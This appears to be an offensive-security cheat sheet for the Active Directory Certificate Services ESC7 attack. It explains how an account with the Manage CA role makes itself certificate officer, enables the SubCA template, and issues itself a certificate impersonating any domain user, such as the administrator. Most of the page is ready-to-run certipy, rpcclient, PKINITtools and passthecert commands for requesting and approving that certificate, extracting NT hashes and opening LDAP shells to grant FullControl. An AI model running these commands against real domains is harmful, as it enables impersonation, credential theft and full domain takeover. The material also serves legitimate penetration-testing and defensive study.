PRIMARY CATEGORY → ADCS

Theory

This attack vector leverages excessive permissions on the CA object directly by abusing the combination of two specific security roles within the CA

Manage CA

This permission grants an excessive control over the CA object. A principal assigned this role can perform the following actions →

  • Modify the CA Configuration

e.g. Enable/Disable Templates, Set Policy Flags…

  • Assign CA Roles

Including Certificate Manager/Officer

  • Start/Stop the CA Service

  • Manage CA Security

Manage Certificates

Also known as Certificate Manager/Officer

Any principal assigned this role can approve or deny pending certificate requests and revoke issued certificates

The main point of this attack vector is that if an operator compromises a domain account with the Manage CA role assigned to it, it can grant itself the Manage Certificates permission/security role, so it becomes a new Certificate Manager/Officer in the CA

Having both permissions ( Manage CA and Manage Certificates), an operator can enable a Certificate Template that allows enrollee-supplied subjects and has a very broad Extended Key Usage ( EKU ) ( i.e. Including Client Authentication ), such as the SubCA certificate template

Then, we can request a certificate for the given template by providing a Certificate Signing Request ( CRS ) whose Subject Alternative Name ( SAN ) contains the UPN of the principal we want to impersonate

Since, by default, this template does not allow any enrollment from non-privileged users, we will have to approve our own certificate request by leveraging the recently assigned Manage Certificates security Role

This process basically allows an attacker to obtain a valid certificate for any existing domain principal


Enumeration

Certipy

Certipy

Setup
mkdir Certipy
cd !$ && python3 -m venv .venv
. !$/bin/activate && pip3 install certipy-ad
Usage
certipy find -dc-ip '<DC_IP>' -username '<USER>' -password '<PASSWD>' -stdout -vulnerable

Abuse

Workflow

Let’s suppose that we compromise a domain user account which has excessive permissions over the CA object directly

We use certipy to enumerate this permissions and we see that the user account has been assigned the Manage CA security role

From here, we can leverage the given security role to grant ourselves the Manage Certificates permission

The latter make us a Certificate Manager/Officer, therefore we can approve or deny any certificate request, as well as revoke existing ones

Then, we have to look for a Certificate Template that has a broad EKU, which includes Client Authentication, and allows enrollee-supplied subjects, so we can specifiy the UPN of the principal we want to impersonate within the CSR’s SAN attribute ( ESC1 )

To do so, we can leverage the Sub CA template, which is usually enabled by default. If not, since we have been assigned the Manage CA security role, we can enable it

Once we carry out the request submission, it will be denied but will generate a request ID

As mentioned, since we have the Manage Certificates security rol, we can approve our own certificate request and subsequently retrieve the certificate

To do so, we must save both the private key associated with the CSR and the Request ID

With the issued certificate, we can carry out several actions →

Requirements
  • Valid Domain Credentials

  • The controlled user account must be assigned the “Manage CA” Security Role

To enable Sub CA Template ( If disabled ) and grant ourselves Certificate Manager

UNIX-Like
Identifying ADCS in the domain
nxc ldap '<DC>' --username '<USER>' --password '<PASSWD' --module adcs
Looking for security flaws and misconfigurations in ADCS

Setup

mkdir Certipy
cd !$ && python3 -m venv .venv
. !$/bin/activate && pip3 install certipy-ad

Usage

Certipy find

certipy find -dc-ip '<DC_IP>' -username '<USER>' -password '<PASSWD>' -stdout -vulnerable
Granting ourselves the Manage Certificate Permission ( If needed )

Becoming Certificate Manager/Officer

To approve any Certificate Request

  • Certipy

Certipy ca

certipy ca -username '<USER>@<DOMAIN>' -password '<PASSWD>' -ns '<DC_IP>' -target '<TARGET_FQDN>' -ca '<CA_NAME>' -add-officer '<CONTROLLED_ACCOUNT>'
Ensuring the SubCA Template is enabled on the CA ( if needed )
  • Certipy

Certipy ca

certipy ca -username '<USER>@<DOMAIN>' -password '<PASSWD>' -ns '<DC_IP>' -target '<TARGET_FQDN>' -ca '<CA_NAME>' -enable-template 'SubCA'
Submitting a Certificate Request ( CSR ) using the SubCA Template

Expected to fail initially if no direct Enrollment Rights

Listing the Impersonated User’s SID

rpcclient --user '<DOMAIN>/<USER>%<PASSWD>' --command 'lookupnames <USER>' '<DC>'

Requesting the Certificate

  • Certipy

Certipy req

certipy req -username '<USER>@<DOMAIN>' -password '<PASSWD>' -dc-ip '<DC_IP>' -target '<TARGET_FQDN>' -ca '<CA_NAME>' -template 'SubCA' -upn '<IMPERSONATED_USER>@<DOMAIN>' -sid '<IMPERSONATED_USER_SID>'

Important

Keep both the Request ID and the Private Key associated with the submitted CSR for further steps

Approving the Pending Certificate Request

Manage Certificates Role comes into play

  • Certipy

Certipy ca

certipy ca -username '<USER>@<DOMAIN>' -password '<PASSWD>' -ns '<DC_IP>' -target '<TARGET_FQDN>' -ca '<CA_NAME>' -issue-request '<REQUEST_ID>'
Retrieving the Issued Certificate once approved

Certificate Retrieval using the Request ID and the Private Key saved in this step

  • Certipy

Certipy req

certipy req -username '<USER>@<DOMAIN>' -password '<PASSWD>' -dc-ip '<DC_IP>' -target '<TARGET_FQDN>' -ca '<CA_NAME>' -retrieve '<REQUEST_ID>'
#1 - PKINIT PtC + Unpac the Hash
  • Certipy
certipy auth -dc-ip '<DC_IP>' -pfx '<PFX>'

Setup

git clone 'https://github.com/dirkjanm/PKINITtools' PKINITtools
cd !$ && python3 -m venv .venv
. !$/bin/activate && pip3 install -r requirements.txt

Usage

PtC

python3 gettgtpkinit.py -dc-ip '<DC_IP>' -cert-pfx '<PFX>' '<DOMAIN>/<PRINCIPAL>' '<CCACHE_FILE>'

UtH

export KRB5CCNAME=$( realpath <CACHE_FILE> )
python3 getnthash.py -dc-ip '<DC_IP>' -key '<AS_REP_ENC_KEY>' '<DOMAIN>/<USER>'
#2 - Schannel PtC

See PtC with Schannel

If the DC in question does not support PKINIT due to the absence of the Smart Card Logon Extended Key Usage ( EKU ) in its certificate, an operator could use the issued certificate to authenticate against LDAPs or LDAP with STARTTLS

Then, we could carry out specific actions depending on the privileges the principal in question has over the domain

For instance, if we leverage an ESC1 vector to obtain an arbitraty certificate whose SAN corresponds to the identity of a privileged domain user, such as the administrator account, we could grant ourselves FullControl over the latter

  • Certipy
certipy auth -dc-ip '<DC_IP>' -pfx '<PFX>' -ldap-shell

Certipy’s LDAP Shell

> grant_control 'DC=<DOMAIN>,DC=<TLD>' '<TARGET_PRINCIPAL>' '<GRANTEE>' # i.e. A controlled domain account

Setup

Downloading the script

curl --silent --location --request GET --remote-name 'https://github.com/AlmondOffSec/PassTheCert/raw/refs/heads/main/Python/passthecert.py'

Extracting both certificate and private key from the PFX

certipy cert -pfx '<PFX>' -nokey -out '<OUTPUT_CERTIFICATE>'
certipy cert -pfx '<PFX>' -nocert -out '<OUTPUT_PRIVATE_KEY>'
# Or
openssl pkcs12 -in '<PFX>' -clcerts -nokeys -out '<OUTPUT_CERTIFICATE>'
openssl pkcs12 -in '<PFX>' -nocerts -out '<OUTPUT_PRIVATE_KEY>'

Usage

python3 passthecert.py -action 'ldap-shell' -domain '<DOMAIN>' -dc-host '<DC_FQDN>' -crt '<CERTIFICATE>' -key '<PRIVATE_KEY>'
Windows

🛠️⌛


Resources

Certipy Wiki: ESC7